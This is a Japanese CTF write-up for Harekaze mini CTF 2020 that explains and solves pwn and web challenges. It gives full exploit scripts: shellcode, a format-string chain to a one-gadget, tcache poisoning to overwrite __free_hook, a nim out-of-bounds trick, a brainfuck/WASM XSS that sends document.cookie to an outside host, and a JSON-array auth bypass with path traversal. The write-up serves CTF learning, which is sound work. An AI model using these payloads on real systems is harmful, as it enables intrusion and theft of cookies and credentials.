24時間のHarekaze mini CTF*1 2020が開催されました。 zer0ptsとして参加しましたが、作問陣にいたり忙しかったりで参加できないメンバーが多かったのでチーム名を「yoshiking*2と愉快な仲間たち」にすれば良かったと後悔しています。
難易度は比較的易しめに設計されていました。 pwnもwebもcryptoも全問ソースコードが公開されており素晴らしかったです。
元祖yoshiking隊長のwriteup:
- [Pwn] Shellcode
- [Pwn] Kodama
- [Pwn] NM Game Extreme
- [Pwn] Safe Note
- [Web] WASM BF
- [Web] Avatar Viewer
- [Misc] Proxy Sandbox
x86-64でシェルコードが実行できる。 実行前にrspとrbpが0にされるが、これは出回っているシェルコードを弾く役割で、全く問題ない。 方法はいろいろあるが、今回のバイナリはPIEでなく、かつ実行ファイル中に"/bin/sh\0"の文字列があるので、それを利用した。
from ptrlib import * s = Socket("nc 20.48.83.165 20005") shellcode = nasm(""" xor esi, esi xor edx, edx mov edi, 0x404060 mov eax, 59 syscall """, bits=64) s.send(shellcode) s.interactive()
単純なFSBが2回呼び出せる。
char buf[0x20]; for (int i = 0; i < 2; i++) { fgets(buf, 0x20, stdin); printf(buf); }
バッファサイズが0x20と小さいので工夫する必要がある。
一回目でアドレスをリークし、二回目でone gadgetでも呼びたいところだが、リターンアドレスは現実的にこのバッファサイズでは2バイトしか書き換えられない。
ここで、main関数終了時にr12レジスタが_start
を指していることに注目する。
rp++で__libc_start_main
周辺のcall r12
gadgetを探すと次のようにいくつか見つかる。
$ rp-lin-x64 -f libc.so.6 --rop=0 | grep "call r12" 0x00029b76: call r12 ; (1 found) 0x0002a4e4: call r12 ; (1 found) 0x0002a60b: call r12 ; (1 found) ...
これで何回でもFSBが呼べるようになった。
あとは__malloc_hook
をone gadgetに書き換え、先程と同様の手順でリターンアドレスを__libc_start_main
周辺のcall malloc
gadgetに変更した。
なお、one gadgetが呼ばれる時点でrdx, r10が共に0だったので、次のような制約のものを利用した。
0xdf739 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL
ここで制約には書かれていないが、rbpが書き込み可能なメモリアドレス周辺を指している必要がある。
しかし、main関数終了時にrbpは__libc_csu_init
を指してしまうため、事前にsaved rbpを部分的に書き換え、bssセクション周辺に変更しておく。
from ptrlib import * elf = ELF("./kodama") libc = ELF("./libc.so.6") sock = Socket("nc 20.48.81.63 20002") one_gadget = 0xdf739 """ Step 1: Leak Address """ sock.recvuntil("|__/|__/\n\n") payload = "%12$p.%14$p.%15$p" sock.sendline(payload) r = sock.recvline().split(b'.') addr_ret = int(r[0], 16) - 0x100 + 0x18 proc_base = int(r[1], 16) - 0x12f0 libc_base = int(r[2], 16) - libc.symbol("__libc_start_main") - 0xf2 logger.info("ret = " + hex(addr_ret)) logger.info("proc = " + hex(proc_base)) logger.info("libc = " + hex(libc_base)) rop_caller = libc_base + 0x00029b76 payload = fsb( pos=8, writes={addr_ret: rop_caller & 0xffff}, size=2, bs=2, bits=64, ) sock.sendline(payload) sock.recv() """ Step 2: Craft vTable """ target = { libc_base + libc.symbol("__malloc_hook"): libc_base + one_gadget, } for addr in target: for i in range(6): sock.recvuntil("|__/|__/\n\n") addr_ret -= 0x100 - 0x20 logger.info("ret = " + hex(addr_ret)) payload = fsb( pos=8, writes={addr_ret: rop_caller & 0xffff}, size=2, bs=2, bits=64, ) sock.sendline(payload) sock.recv() payload = fsb( pos=8, writes={addr + i: (target[addr] >> (i*8)) & 0xff}, size=1, bs=1, bits=64, ) sock.sendline(payload) sock.recv() """ Stage 3: WIN """ sock.recvuntil("|__/|__/\n\n") addr_ret -= 0x100 - 0x20 logger.info("ret = " + hex(addr_ret)) addr_writable = proc_base + elf.section('.bss') + 0x800 payload = fsb( pos=8, writes={addr_ret - 8 + 1: (addr_writable >> 8) & 0xff}, size=1, bs=1, bits=64, ) sock.sendline(payload) sock.recv() malloc_caller = libc_base + 0x29540 payload = fsb( pos=8, writes={addr_ret: malloc_caller & 0xffff}, size=2, bs=2, bits=64, ) sock.sendline(payload) sock.recv() sock.interactive()
なんかよく分からんゲームが渡される。(ニムって言うらしい。) 相手に勝つ必要は無いが、400回ゲームをする必要があり、たぶん普通に遊んだらタイムアウトで終了するんだと思う。
自明な範囲外参照があるので、これを利用してゲームの回数を減らす。
do { printf("Choose a heap [0-%d]: ", n - 1); scanf("%d", &index); } while (nums[index] == 0);
それだけ。
from ptrlib import * sock = Socket("nc 20.48.84.13 20003") logger.info("Start") ok = False while True: if not ok: sock.sendlineafter(": ", "3") sock.recvline() l = sock.recvline() logger.info(l) if b'You lost' in l: continue n = int(l) if n <= 3: sock.sendlineafter(": ", str(n)) break elif n == 7: sock.sendlineafter(": ", "3") ok = True elif n == 6: sock.sendlineafter(": ", "2") ok = True elif n == 5: sock.sendlineafter(": ", "1") ok = True rem = 399 while rem > 0: logger.info("Remaining: " + str(rem)) sock.sendlineafter("]: ", "-4") sock.sendlineafter(": ", "3") rem -= 3 tolist = lambda x: list(map(int, x.split())) while True: sock.recvline() r = sock.recvline() if b'Remaining' in r: logger.info(r) break l = tolist(r) logger.info(l) for i in range(len(l)): if l[i] > 3: sock.sendlineafter("]: ", str(i)) sock.sendlineafter(": ", "3") break elif l[i] > 0: sock.sendlineafter("]: ", str(i)) sock.sendlineafter(": ", str(l[i])) break sock.interactive()
よくあるノート問。 脆弱性はこの間ASISで出した参照カウンタの問題と似ており、データの移動元と移動先が同じときにUse-after-Freeが起きる。
if (delete_src) { free(notes[src].buf); notes[src].buf = NULL; } notes[dest].buf = p; notes[dest].size = notes[src].size;
libcのバージョンが2.32なので、safe linkingに注意して偽チャンクのfree、tcache poisoning等すれば終わり。 なんか途中でガチャガチャしてるのは、main arenaへのポインタの最下位バイトが0でprintされないので、適当な非nullデータを含む1バイトのチャンクをcopyしている処理。
from ptrlib import * def alloc(index, size, data): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(size)) if size > 1: sock.sendlineafter(": ", data) def show(index): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) return sock.recvline() def move(src, dst): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(src)) sock.sendlineafter(": ", str(dst)) def copy(src, dst): sock.sendlineafter("> ", "4") sock.sendlineafter(": ", str(src)) sock.sendlineafter(": ", str(dst)) libc = ELF("./server-libc.so.6") sock = Socket("20.48.83.103", 20004) """ libc = ELF("./libc.so.6") sock = Process(["./ld-2.32.so", "--library-path", "./", "./safenote"]) #""" alloc(0, 0x28, b"A"*0x10 + p64(0) + p64(0x421)) alloc(1, 0x28, "B") move(0, 0) move(1, 1) heap_base = u64(show(0)) << 12 logger.info("heap = " + hex(heap_base)) addr_fake = heap_base + 0x2c0 alloc(2, 0x18, p64(addr_fake ^ ((heap_base + 0x2d0) >> 12))) copy(2, 1) alloc(6, 1, '') alloc(3, 0x28, b"C") alloc(4, 0x28, b"D") payload = p64(0x21) * (0x70 // 8 - 1) for i in range(8): alloc(0, 0x70, payload) move(4, 4) move(6, 6) copy(6, 4) libc_base = (u64(show(4)) - libc.main_arena()) & 0xfffffffffffff000 logger.info("libc = " + hex(libc_base)) alloc(6, 1, '') copy(6, 4) alloc(0, 0x38, "A") alloc(1, 0x38, "B") move(0, 0) move(1, 1) addr_target = libc_base + libc.symbol("__free_hook") alloc(2, 0x18, p64(addr_target ^ ((heap_base + 0x300) >> 12))) copy(2, 1) alloc(0, 0x38, "/bin/sh\0") alloc(1, 0x38, p64(libc_base + libc.symbol("system"))) move(0, 0) sock.interactive()
XSS問。クッキーにフラグが書いてあるらしい。
const page = await browser.newPage(); await page.setCookie({ name: 'flag', value: process.env['FLAG'], domain: process.env['CHALLENGE_DOMAIN'], httpOnly: false, secure: false }); await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 3000 }); await page.waitForTimeout(3000);
サービスはbrainfuckのコードを実行して結果を出力するだけ。 コードの表示にescapeが無いのでXSSできそうだが、実はbrainfuckのインタプリタ側でこれがescapeされている。
インタプリタはWebAssemblyで書かれており、いつかのwasm pwnを出したCTFとは違ってソースコードも配布されている。
脆弱性は自明な範囲外参照。memory
の範囲を超えてメモリ操作が可能。
unsigned char buffer[BUFFER_SIZE] = {0}; unsigned char *buffer_pointer = buffer; unsigned char memory[MEMORY_SIZE] = {0}; char program[PROGRAM_MAX_SIZE] = {0};
文字出力はバッファリングされており、flushすると初めてJavaScript側でHTMLに出力される。
void print_char(char c) { if (buffer_pointer + 4 >= buffer + BUFFER_SIZE) { flush(); } if (c == '<' || c == '>') { buffer_pointer[0] = '&'; buffer_pointer[1] = c == '<' ? 'l' : 'g'; buffer_pointer[2] = 't'; buffer_pointer[3] = ';'; buffer_pointer += 4; } else { *buffer_pointer = c; buffer_pointer++; } }
したがって、メモリの範囲外書き込みでバッファリング用のバッファを直接書き換え、XSSのpayloadを完成させれば良い。
wasmをwatに変換して読むと、変数の並びがCのコードの順と変わっていることに注意。(buffer_pointer
を書き換えようと思って時間を溶かした。)
(func $initialize (type 1) i32.const 0 i32.const 1024 i32.store offset=3144 i32.const 1024 i32.const 0 i32.const 100 call $memset drop i32.const 1136 i32.const 0 i32.const 1000 call $memset drop i32.const 2144 i32.const 0 i32.const 1000 call $memset drop)
あとはやるだけ。動的書き換えではscriptは発火しないのでimgとかを使おうね。(web初心者並感)
raw_xss = """=img src=x onerror="location.href='http://moxxie.tk:18001/'+document.cookie;"?""" code = "----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[---->+<]>++.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.+[-->+<]>+++.[--->++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.+[--->+<]>+++.++++++++++.-------------.+.+++[->+++<]>++.-[--->++<]>-.----[->+++<]>-.++++++++++++..----.[-->+<]>++.-----------..+[----->+<]>---.++.+++++++++..[->+++<]>+.----.[->+++<]>-.[--->++<]>.---------.--[->+++<]>-.---------.+++++++.--------..+.--.--------.++++.+[--->+<]>.+++++++++++.------------.-[--->+<]>-.--------.--------.+++++++++.++++++.[++>---<]>.--[--->+<]>-.++++++++++++..----.--.----.++++[->+++<]>.-[->+++++<]>.--[->++<]>-." code += "<" * 66 code += "-" code += "<" * 77 code += "-" with open("exploit.bf", "w") as f: f.write(code)
あとはサーバー側で待ち受けてクローラに踏ませればフラグが降ってくる。
node製アプリで、adminユーザーで/admin
にアクセスすればフラグが貰える。
app.get('/admin', async (request, reply) => { const username = request.session.get('username'); if (!username) { request.flash('error', 'please log in to view this page'); return reply.redirect('/login'); } if (username != adminUsername) { request.flash('error', 'only admin can view this page'); return reply.redirect('/login'); } return reply.view('index.ejs', { page: 'admin', username: request.session.get('username'), flash: reply.flash(), flag }); });
ユーザー登録はできないが、guest
/ guest
のアカウントだけ用意されている。
ユーザー一覧は users.json
から取得される。
1つ目の問題はログイン方法。
app.post('/login', async (request, reply) => { if (!request.body) { request.flash('error', 'HTTP request body is empty'); return reply.redirect('/login'); } if (!('username' in request.body && 'password' in request.body)) { request.flash('error', 'username or password is not provided'); return reply.redirect('/login'); } const { username, password } = request.body; if (username.length > 16) { request.flash('error', 'username is too long'); return reply.redirect('/login'); } if (users[username] != password) { request.flash('error', 'username or password is incorrect'); return reply.redirect('/login'); } request.session.set('username', username); reply.redirect('/profile'); });
緩い比較演算子を使っているので、username
を好きな文字列にしてpassword
をnullにすれば認証を突破できる。
> users["hoge"] != null false
2つ目の問題はアバターのアイコンを取得する部分にある。
app.get('/myavatar.png', async (request, reply) => { const username = request.session.get('username'); if (!username) { request.flash('error', 'please log in to view this page'); return reply.redirect('/login'); } if (username.includes('.') || username.includes('/') || username.includes('\\')) { request.flash('error', 'no hacking!'); return reply.redirect('/login'); } const imagePath = path.normalize(`${__dirname}/images/${username}`); if (!imagePath.startsWith(__dirname)) { request.flash('error', 'no hacking!'); return reply.redirect('/login'); } reply.type('image/png'); if (fs.existsSync(imagePath)) { return fs.readFileSync(imagePath); } return fs.readFileSync('images/default'); });
ユーザー名をパスに入れて画像を取得している。
その前にフィルタがあるので一見問題無さそうだが、今回username
に任意のオブジェクトを入れられることに注意する。
JavaScriptで配列のtoStringは",".join(arr)
みたいな処理になっているので、配列を入れてもそのまま文字列としてパスに入る。
一方、その前のincludes
はString.prototype.includes
とArray.prototype.includes
の2つがあり、型により処理が変わる。
したがって、ユーザー名を ["../users.json"]
のようにすればユーザーリストが取得できる。
adminの名前が長くて普通にログインできないが、同様に配列にすればlengthは1になるのでログインでき、フラグが得られる。
import requests import json URL = "http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/avatar-viewer" data = json.dumps({ 'username': ["../users.json"], 'password': None }) print(data) headers = {'Content-Type': 'application/json'} r = requests.post(f"{URL}/login", data=data, headers=headers) cookies = r.cookies r = requests.get(f"{URL}/myavatar.png", cookies=cookies) users = json.loads(r.text) for key in users: if key.startswith("admin"): username = key password = users[key] break data = json.dumps({ 'username': [username], 'password': password }) headers = {'Content-Type': 'application/json'} r = requests.post(f"{URL}/login", data=data, headers=headers) cookies = r.cookies r = requests.get(f"{URL}/admin", cookies=cookies) print(r.text)
数時間考えたけど解けなかった。 ので私は初心者以下であることが無事証明され、ぐっすり眠れた。 朝起きたらチームの人がシュっと解いたのかDiscordにフラグが置いてあった*3。
【追記】今見たら普通に解けた。何かすごい大変な勘違いをしてましたね^^;